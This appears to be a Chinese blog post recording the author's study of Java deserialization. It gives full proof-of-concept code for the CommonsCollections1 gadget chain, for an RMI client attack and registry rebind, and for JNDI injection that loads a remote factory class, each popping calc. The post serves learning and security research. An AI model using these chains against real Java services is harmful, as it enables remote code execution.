JAVA反序列化学习

前言

回顾完PHP反序列化,接着就来学习Java反序列化了。距离上一篇PHP反序列化水文过去快半个月了,感觉时间过得好快啊,在某些特殊时刻也好煎熬啊。不管怎么说,这段时间看了好多Java反序列化的文章,也动手复现了下,对反序列化的原理、利用条件、利用方法有了初步的认识。 胡诌了这么多,就下来是对Java反序列化学习的记录。

Java序列化简介

Java的序列化也是和PHP序列化一样,为了实现对象的持久化。除此之外,Java序列化还可通过的网络通信,实现在不同的平台传输对象,出现的场景有JNDI的RMI和LADP等。

Java序列化与反序列化

Java不同于PHP可以序列化和反序列化任意类,Java只有本类或父类实现了SerializableExternalizable接口,且若实例变量引用了其他对象,该对象也需要能被序列化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public class Unserialize implements Serializable{
public Object obj;
public static void main(String[] args) throws Exception {
Unserialize obj = new Unserialize();
obj.obj = new SerializableTest();
FileOutputStream out = new FileOutputStream("test.txt");
ObjectOutputStream obj_out = new ObjectOutputStream(out);
obj_out.writeObject(obj);
out.close();

FileInputStream in = new FileInputStream("test.txt");
ObjectInputStream in_obj = new ObjectInputStream(in);
in_obj.readObject();
in_obj.close();
}
}

class SerializableTest implements Serializable{
}

class Test {
}

若序列化一个没有实现Serializable的类,则会抛出NotSerializableException异常。ExternalizableSerializable的子类,序列化的用法一样,但必须重写readExternalwriteExternal方法。序列化的结果是以ACED开头的字节序列,Java也是按一定的规则进行序列化的,但序列化结果的可读性没有PHP那么高。

Java序列化并没有PHP这么多的魔术方法,只有当序列化的类重写了readObjectreadExternal方法,才能作为反序列化漏洞的入口。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public class Unserialize implements Serializable {
private void readObject(ObjectInputStream in) throws Exception {
in.defaultReadObject();
Runtime.getRuntime().exec("calc");
}

public static void main(String[] args) throws Exception {
Unserialize obj = new Unserialize();
FileOutputStream out = new FileOutputStream("test.txt");
ObjectOutputStream obj_out = new ObjectOutputStream(out);
obj_out.writeObject(obj);
out.close();

FileInputStream in = new FileInputStream("test.txt");
ObjectInputStream in_obj = new ObjectInputStream(in);
in_obj.readObject();
in_obj.close();
}
}

当然,实际情况下没人会直接在readObject中写个命令执行的功能。通常情况下,反序列化漏洞都是使用多个可序列化的类形成利用链,然后利用反射机制实现想要的功能。

Java反射机制

反射机制可以实现在编译时无需确定所使用的的类,在运行时再确定。对任意一个类,都能知道这个类的所有属性和方法,对任意一个对象,都能调用它的任意一个方法和属性。

以下代码是以反射的方式实现弹计算器,先后通过Class.forName获取Class实例,然后getMethod获取方法,最后invoke调用方法。对于一些需要使用实例调用的方法,首先需要通过getConstructor方法获取构造方法实例,再调用newInstance方法获取该类的实例。

1
2
3
4
5
6
7
8
public class Reflect {
public static void main(String[] args) throws Exception {
Class runtime = Class.forName("java.lang.Runtime");
Method getRuntime = runtime.getMethod("getRuntime");
Method exec = runtime.getMethod("exec",String.class);
exec.invoke(getRuntime.invoke(runtime), "calc");
}
}

上面形如getXXX的方法都是只能获取默认构造函数或公有方法和属性,获取非默认构造函数或非公有方法和属性需要使用形如getDeclaredXXX的方法,非公有方法和属性还需使用setAccessible方法设置可访问。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public class Reflect {
public static void main(String[] args) throws Exception {
Class reflectTest = Class.forName("com.test.ReflectTest");
Constructor constructor = reflectTest.getDeclaredConstructor(String.class);
Object test = constructor.newInstance("calc");
Method execute = reflectTest.getDeclaredMethod("execute");
execute.setAccessible(true);
execute.invoke(test);
}
}

class ReflectTest {
private String cmd;
ReflectTest() {
}

ReflectTest(String cmd) {
this.cmd = cmd;
}

private void execute() throws IOException {
if (cmd.isEmpty())
cmd = "calc";
Runtime.getRuntime().exec(cmd);
}
}

反序列化利用

反序列化利用复现经典的CommonsCollectionsPOP链,还有RMI攻击服务端和JNDI注入。

CommonsCollections1

CommonsCollections1是Java反序列化利用工具ysoserial其中的一个payload,由于commons-collections这个依赖包应用很广泛,所以这个payload很通用,但对jre是有要求的,版本需要在1.7u21以下。

POP链构造,本文通过下断点调试来学习。CommonsCollections1的payload使用以下的命令生成,值得注意的是,windows下不能用powershell生成payload,生成的payload是错的,会多出来00字节。

1
java -jar .\ysoserial.jar CommonsCollections1 "calc.exe" > cc.bin

反序列化的入口直接通过文件输入序列化内容并反序列化即可,同时需要在Runtimeexec方法下个断点。

1
2
3
4
5
6
7
public class DebugUnserialize {
public static void main(String[] args) throws Exception{
FileInputStream file = new FileInputStream("cc1.bin");
ObjectInputStream in = new ObjectInputStream(file);
in.readObject();
}
}

启动调试就能在IDEA中看到调用栈,除去反序列化和正常invoke方法的调用,与反序列化POP链相关的调用栈有红框这三块,主要的是中间这一块。

从栈顶往栈底看,InvokerTransformertransform方法最终反射调用Runtimeexec方法。跟进InvokerTransformertransform方法,当input非空时会进行一个反射方式调用方法的操作。iMethodNameiParamTypesiArgsInvokerTransformer的属性,属于可控变量,而input不是该类的属性,此时input的值为Runtime的实例。

回溯到ChainedTransformertransform方法,一个for循环遍历iTransformers属性,并调用他的transform方法,该方法的object参数除了第一个之外,其他都是上一个循环transform的返回值。

1
2
3
4
5
6
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

iTransformers是一个Transformer数组,而Transformer是一个接口,上面的两个类ChainedTransformerInvokerTransformer都实现了这个接口。当前iTransformers的大小为5,包含一个ConstantTransformer,三个InvokerTransformer,再加一个ConstantTransformer,感觉整个POP链最巧妙的就在这里。

第一个ConstantTransformer直接返回他的iConstant属性,此时iConstantRuntime的Class实例。

接着的InvokerTransformer,经过一次getMethod再加一次反射方式调用的getMethod获取到getRuntime的Method实例,并返回。

接着的InvokerTransformer,经过两次invoke调用了上一个循环返回getRuntime方法,并返回执行结果。这里的iArgs也就是第二次的invoke的参数,是一个null和一个空Object数组,再复现时把我整懵了,为啥不用对象调用getRuntime方法。后面想起来getRuntime是静态方法,查资料得知静态方法用invoke反射调用,第一个参数传null即可。

最后一个InvokerTransformer利用上一个循环getRuntime返回的Runtime实例,反射调用exec执行命令。

继续回溯,跟进到LazyMapget方法,map属性不存在键为key的值,然后使用factory属性调用tranform方法。这里令factory为下一调用栈里的ChainedTransformer即可。

再继续回溯,在AnnotationInvocationHandlerinvoke方法里面使用调用memberValues属性调用get方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else if (var5.length != 0) {
throw new AssertionError("Too many parameters for an annotation method");
} else {
...
switch(var7) {
case 0:
...
default:
Object var6 = this.memberValues.get(var4);

AnnotationInvocationHandler是非公有的类,需要反射来构造,唯一的一个构造函数的第一个参数需要是注解的类,且存在一个接口,接口也是需要有注解,否则就会抛出一个AnnotationFormatError异常。

1
2
3
4
5
6
7
8
9
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2;
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}

java.lang.annotaion包下很多接口都满足这个条件。

在往上回溯,发现并没有直接调用invoke方法,因为这里用到了动态代理机制,当生成的代理实例调用方法时会先调用类里的invoke方法。AnnotationInvocationHandler实现了InvocationHandler接口,所以再往上回溯又是一个AnnotationInvocationHandler,但它的memberValues属性是AnnotationInvocationHandler的代理实例。

最后完整的POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
package com.test;

import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.*;
import java.util.*;

public class ApacheCommonsCollections1 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
new ConstantTransformer(1)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = LazyMap.decorate(new HashMap(), chainedTransformer);

Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = cls.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Retention.class, map);

Map map1 = (Map) Proxy.newProxyInstance(
Map.class.getClassLoader(),
new Class[]{Map.class},
invocationHandler
);
Object obj = constructor.newInstance(Retention.class, map1);

FileOutputStream fileOutputStream = new FileOutputStream("cc1.txt");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(obj);
}
}

CommonsCollections后面几条链看了下最后都是通过transform方法反射执行命令的,就是入口类和中间衔接类不一样,CommonsCollections5也跟了下,无需动态代理,相比CommonsCollections1构造起来还更简单。

RMI攻击服务端

攻击服务端的方式我看到有两种(可能还有更多的我不知道),一种是远程方法的参数有通过类实例的,构造恶意的实例传过去;另一种是使用bind方法注册绑定一个恶意的实例。

  • 远程方法参数有类实例

    由于RMI传的参数都是经过序列化的,那么在服务端那边就会进行反序列化还原对象。这里我就想到了个问题,实现远程方法的类没有实现Serializable为什么又能被序列化呢?原因就在实现远程方法的类继承的UnicastRemoteObject类上,只要一直回溯,不难发现UnicastRemoteObject的最终父类是RemoteObject,是它实现了Serializable

    现在我们参数传一个精心构造的反序列化链就能造成反序列化漏洞,但如果这个参数的类不能作为反序列化的入口类的话,我们通过入口类继承原来的类,实现反序列化任意类。这里还是以CommonsCollections为例,但修改CommonsCollections原有的入口类挺麻烦的,Demo简化一下,服务端刚好有一个实现了Serializable的类,类里还有一个Object属性。

    1
    2
    3
      class Exploit implements Serializable {
    Object obj;
    }

    服务端远程方法的参数是Exception类,那么客户端的Exploit就有稍稍修改下,继承Exception类。

    1
    2
    3
      class Exploit extends Exception implements Serializable {
    Object obj;
    }

    然后客户端实例化一个Exploit对象,设置它的obj属性为CommonsCollections的POP链即可。

    放上Demo的代码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
      // 服务端RMIServer.java
    package com.test;

    import java.rmi.AlreadyBoundException;
    import java.rmi.RemoteException;
    import java.rmi.registry.LocateRegistry;

    public class RMIServer {
    public static void main(String[] args) throws RemoteException, AlreadyBoundException {
    LocateRegistry.createRegistry(8888).bind("method",new RemoteMethodImpl());
    }
    }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
//服务端RemoteMethodImpl.java
package com.test;

import java.io.Serializable;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class RemoteMethodImpl extends UnicastRemoteObject implements RemoteMethod {
protected RemoteMethodImpl() throws RemoteException {
}

@Override
public String read(Exception obj) throws RemoteException {
return null;
}
}

class Exploit implements Serializable {
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
}

Object obj;
}
1
2
3
4
5
6
7
8
9
  //客户端服务端相同RemoteMethod.java
package com.test;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface RemoteMethod extends Remote {
public String read(Exception obj) throws RemoteException;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
  //客户端利用代码
package com.test;

import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.LazyMap;

import java.io.Serializable;
import java.lang.annotation.Retention;
import java.lang.reflect.*;
import java.rmi.registry.LocateRegistry;
import java.util.*;

public class Client {
public static void main(String[] args) throws Exception {
RemoteMethod remoteMethod = (RemoteMethod) LocateRegistry.getRegistry(8888).lookup("method");

Exploit exploit = new Exploit();
exploit.obj = getPayload();
remoteMethod.read(exploit);
}

public static Object getPayload() throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
new ConstantTransformer(1)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = LazyMap.decorate(new HashMap(), chainedTransformer);

Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = cls.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Retention.class, map);

Map map1 = (Map) Proxy.newProxyInstance(
Map.class.getClassLoader(),
new Class[]{Map.class},
invocationHandler
);
Object obj = constructor.newInstance(Retention.class, map1);
return obj;
}
}

class Exploit implements Serializable {
Object obj;
}

在调用栈里可以看到,远程方法的参数是Exception类,反序列化的对象实际上是Exploit

  • 注册恶意实例

    如果rmiregistry和服务端分开的话,这种情况实际攻击的是rmiregistry。rmiregistry在将注册名和Romte对象绑定时会将这两个值反序列化,可利用这个特性反序列化POP链。如果这个链入口类没有继承Remote类,可以使用动态代理的方式生成Remote的代理类。

    1
    2
    3
    4
    5
    6
    7
    InvocationHandler obj = (InvocationHandler) getPayload();
    RemoteMethod remote = (RemoteMethod) Proxy.newProxyInstance(
    RemoteMethod.class.getClassLoader(),
    new Class[]{RemoteMethod.class},
    obj
    );
    LocateRegistry.getRegistry(8888).rebind("hack", remote);

    下断点可以看到反序列化操作是在RegistryImpl_Skel类的dispatch方法进行的。

JNDI注入

RMI除了绑定Remote对象之外,还可绑定ReferenceWrapper对象,ReferenceWrapper里的Reference属性记录Factory类的名称、包名和地址。当InitialContext类或他的子类对象直接或间接的调用lookup方法,同时name参数可控时,从JNDI接口获取攻击者的Reference对象,然后从攻击者的服务器下载Factory并实例化,攻击者在静态代码或构造方法加入执行命令的代码,就能在实例化的时候实现命令执行。

放上Demo代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// RMIServer.java
package com.test;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.*;

public class RMIServer {

public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(8888);

Reference reference = new Reference("Exploit2", "com.exploit.Exploit2", "http://127.0.0.1:8081/");
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("calc", wrapper);
}
}
1
2
3
4
5
6
7
8
9
10
11
// RMIClinet.java
package com.test;

import javax.naming.*;

public class RMIClient {
public static void main(String[] args) throws Exception {
Context ctx = new InitialContext();
ctx.lookup("rmi://localhost:8888/calc");
}
}

恶意的Factory类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package com.exploit;

import java.io.IOException;

class Exploit2 {

static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
Exploit2() throws Exception {
Runtime.getRuntime().exec("calc");
}
}

同时起一个python的SimpleHTTPServer,来作为Factroy类的下载服务。这里有一个坑,一开始我是直接http://127.0.0.1:8081/Exploit2.class下载Factroy类,在测试中虽然发起了下载请求,但并没有弹计算器,一度以为我的代码写得有问题,参考了别人的Demo代码,factroyLocation设置的是下载服务的根目录,用SimpleHTTPServer测试下,请求的地址会变为http://127.0.0.1:8081/com/exploit/Exploit2.class,所以下载目录要跟报名相同或者请求任意地址都下载Factroy才行。

万事俱备,开调。

前两个lookup方法都是套娃调用,直接跟进到RegistryContextlookup方法。使用绑定的ReferenceWrapper和对应的Name调用decodeObject方法。

跟进到decodeObject方法,获取Reference对象,并使用Reference对象和Name对象调用getObjectInstance方法。

1
2
3
4
5
6
private Object decodeObject(Remote var1, Name var2) throws NamingException {
try {
Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
return NamingManager.getObjectInstance(var3, var2, this, this.environment);
...
}

getObjectInstance方法里又继续通过Reference对象和factory类名调用getObjectFactoryFromReference方法获取对象。接着跟进getObjectFactoryFromReference方法,有两个地方调用loadClass,此时的调用栈是第二个loadClass。第一个loadClass是从当前classPath获取类的Class实例。如果恶意类和客户端同在一个项目,需要把恶意类编译后的.class文件删掉才会从远程下载恶意类。后续如clasnull,也就是本地没这个factory类时,获取codebase,也就是初始化Reference时的factoryName属性,调用另一个loadClass方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
static ObjectFactory getObjectFactoryFromReference(Reference ref, String factoryName) throws IllegalAccessException, InstantiationException, MalformedURLException {
Class<?> clas = null;

// Try to use current class loader
try {
clas = helper.loadClass(factoryName);
} catch (ClassNotFoundException e) {
// ignore and continue
// e.printStackTrace();
}
// All other exceptions are passed up.

// Not in class path; try to use codebase
String codebase;
if (clas == null &&
(codebase = ref.getFactoryClassLocation()) != null) {
try {
clas = helper.loadClass(factoryName, codebase);
} catch (ClassNotFoundException e) {
}
}

return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}

跟进第二个loadClass,通过URLClassLoadernewInstance生成远程类的ClassLoader,然后使用ClassLoader反射生成factory类的Class实例。在实例化Class的实例的时候,静态代码就会被执行,弹出计算器。

除了RMI,LDAP也是可以使用类似的方式实例化远程的恶意类,这两种利用方法都写在后续较高的Java版本被限制从远程下载并实例化factory类。

com.sun.jndi.ldap.object.trustURLCodebase 属性在 Oracle JDK 11.0.1, 8u191, 7u201, and 6u211及以后的版本,默认值为false,即不允许LDAP从远程地址加载Reference工厂类。

com.sun.jndi.rmi.object.trustURLCodebase 属性在 Oracle JDK 8u113, 7u122, 6u132及以后的版本,默认值为false,即默认不允许RMI从远程地址加载Reference工厂类。

后记

距发布上一篇文章24天,你文章写快点吧大哥,炒冷饭搞这么久。后续复现下一些组件、CMS的反序列化漏洞。

参考

https://github.com/bit4woo/code2sec.com

https://fireline.fun/2021/06/11/Java%20ysoserial%E5%AD%A6%E4%B9%A0%E4%B9%8BCommonsCollections1(%E4%BA%8C)/#5-2-Java%E5%8A%A8%E6%80%81%E4%BB%A3%E7%90%86

https://yoga7xm.top/2019/09/02/rmi/

https://paper.seebug.org/1091/#java-rmi_3

https://paper.seebug.org/1420/#_2

https://www.redteaming.top/2020/08/24/JNDI-Injection/

评论

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×